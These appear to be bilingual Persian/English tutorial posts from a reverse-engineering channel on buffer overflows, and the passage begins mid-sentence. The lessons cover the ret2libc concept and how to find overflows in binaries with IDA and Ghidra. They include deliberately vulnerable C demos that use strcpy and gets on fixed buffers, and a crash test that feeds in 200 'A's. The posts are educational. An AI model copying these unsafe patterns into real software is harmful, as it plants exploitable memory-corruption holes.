2 از اون آدرس استفاده میکنیم تا آدرس توابع libc را محاسبه کنیم و بعد RIP رو به آن تابع ببریم


Code C:

file9_demo.c

#include <stdio.h>
#include <string.h>

char secret[] = "this is a libc string for demo";

void vuln(char *s) {
    char buf[32];
    strcpy(buf, s);   /* unsafe but  دمو */
    puts("returned from vuln");
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("usage %s input\n", argv[0]);
        return 1;
    }
    vuln(argv[1]);
    puts("program finished");
    return 0;
}


ret2libc
یعنی استفاده از توابع آماده libc به جای اجرای شل‌ کد روی استک

معمولا دو قدم لازمه:
نشت آدرس و بعد پر کردن استک جوری که وقتی برگشت تابع libc اجرا بشه با آرگومان مناسب

امنیت: NX و ASLR و PIE ترکیبی هستند که کار رو پیچیده میکنن


Part 13 Buffer Overflow


The concept of ret2libc and how we use libc functions to direct execution

Why when our stack is not executable NX or addresses are moved instead of putting shellcode on the stack we go to ready libc functions like puts or printf or in dangerous mode system

When we can't write code and execute it NX or addresses are variable ASLR we use the system library Instead of putting RIP on our shellcode we put RIP on the address of a function in libc that the program has already used puts and we leave the appropriate argument in such a way that puts prints a desired string

This idea has two main steps

1 We find a libc address leak or a fixed address

2 We use that address to calculate the address of libc functions and then put RIP to that function

Code C:

file9_demo.c

#include <stdio.h>
#include <string.h>

char secret[] = "this is a libc string for demo";

void vuln(char *s) {
    char buf[32];
    strcpy(buf, s);   /* unsafe but demo */
    puts("returned from vuln");
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("usage %s input\n", argv[0]);
        return 1;
    }
    vuln(argv[1]);
    puts("program finished");
    return 0;
}


ret2libc
i.e. using ready-made libc functions instead of executing shellcode on the stack

Usually two steps are required:
Leak the address and then fill the stack so that when the libc function returns it is executed with the appropriate arguments

Security: NX, ASLR and PIE are a combination that complicates the task

@reverseengine
👍2
بخش چهاردهم بافر اورفلو


کشف بافر اورفلو در مهندسی معکوس با ابزارهای IDA و Ghidra و r2


توی این قسمت یاد میگیریم وقتی یک فایل باینری  باز میکنید  چطور بفهمید توش بافر اورفلو هست یا نه
یعنی بدون داشتن سورس و فقط با آنالیز تابع‌ ها ورودی‌ های خطرناک و مسیرهای حساس رو پیدا کنی فقط بررسی باینری انجام میدیم هیچ اکسپلویت واقعی نوشته نمیشه کاملا امنه



تشخیص توابع خطرناک در باینری

این یکی از سریع‌ترین روش‌ هاست


اگه جایی تابع‌ هایی مثل strcpy sprintf gets memcpy بدون سایز مشخص وجود داشته باشه احتمال بافر اورفلو زیاده


ما یک باینری ساده برای آموزش استفاده میکنیم که توش strcpy و gets استفاده شده تا فقط مفهوم کشف آسیب‌ پذیری رو تمرین کنیم

file.c

#include <stdio.h>
#include <string.h>

void read_name() {
    char name[32];
    gets(name);
    printf("hello %s\n", name);
}

void copy_data(char *s) {
    char buf[16];
    strcpy(buf, s);
    puts("done copy");
}

int main(int argc, char **argv) {
    if (argc > 1)
        copy_data(argv[1]);
    read_name();
    return 0;
}


باز کردن باینری در IDA یا Ghidra

وقتی فایل را داخل IDA باز میکنید دنبال اسم توابع خطرناک بگردید

مثال
اگه توی view functions ببینید gets یا strcpy هست همین خودش زنگ خطره
بعد برید داخل خود تابع و نگاه کند سایز بافر چقدره و ورودی از کجا میاد


وقتی دیدید strcpy(buf s) و buf اندازه ثابت داره ولی طول s از ورودی کاربر میاد خیلی احتمال بافر اورفلو هست
این الگو یکی از کلاسیک ترین نشونه هاشه



دیدن فریم تابع و محل بافر

توی disassembly دنبال دستوراتی مثل

sub rsp
alloca


اینا مکان ساختن فضای لوکال روی استک رو نشون میدن

مثال اسمبلی تابع copy_data وقتی disassemble کنیم تقریبا چیزی شبیه این میبینیم

push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, rdi
lea rdx, [rbp-0x10]
mov rsi, rax
call strcpy

توضیح کد
اینجا واضح میبینید که بافر 16 بایته چون از rbp تا rbp-0x10 فاصله داره و چون strcpy هیچ چک طولی نمیکنه اگه ورودی طولانی بیاد استک میتونه خراب بشه



چک کردن مسیر ورودی کاربر
این خیلی مهمه اگه ورودی مستقیم از argv یا fgets یا read یا gets گرفته بشه و همون مستقیم به strcpy بره آسیب‌پذیری تقریبا قطعی میشه




نمونه اجرا

./a.out $(python3 -c "print('A'*200)")


اگر برنامه کرش کرد یعنی تشخیص ما درست بوده


Part 14 Buffer Overflow


Detecting Buffer Overflow in Reverse Engineering with IDA, Ghidra and r2 tools

In this section, we will learn how to find out if there is a buffer overflow when you open a binary file

That is, without having the source and only by analyzing the functions, you can find dangerous inputs and sensitive paths. We only do binary inspection. No real exploits can be written. It is completely safe

Detecting dangerous functions in binary

This is one of the fastest methods

If there are functions like strcpy sprintf gets memcpy without a specified size, the probability of buffer overflow is high

We will use a simple binary for training in which strcpy and gets are used to practice the concept of vulnerability detection

file.c

#include <stdio.h>
#include <string.h>

void read_name() {
char name[32];
gets(name);
printf("hello %s\n", name);
}

void copy_data(char *s) {
char buf[16];
strcpy(buf, s);
puts("done copy");
}

int main(int argc, char **argv) {
if (argc > 1)
copy_data(argv[1]);
read_name();
return 0;
}


Opening a binary in IDA or Ghidra

When you open a file in IDA, look for the names of dangerous functions

For example, if you see gets or strcpy in the view functions, that's a red flag.

Then go inside the function itself and look at the buffer size and where the input comes from.

When you see strcpy(buf s) and buf has a fixed size, but the length s comes from the user input, it's very likely a buffer overflow.

This pattern is one of the most classic signs.

Seeing the function frame and buffer location.

In disassembly, look for commands like

sub rsp
alloca


These show where to create local space on the stack.

For example, the assembly of the copy_data function, when we disassemble it, we see something like this:

push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, rdi
lea rdx, [rbp-0x10]
mov rsi, rax
call strcpy
1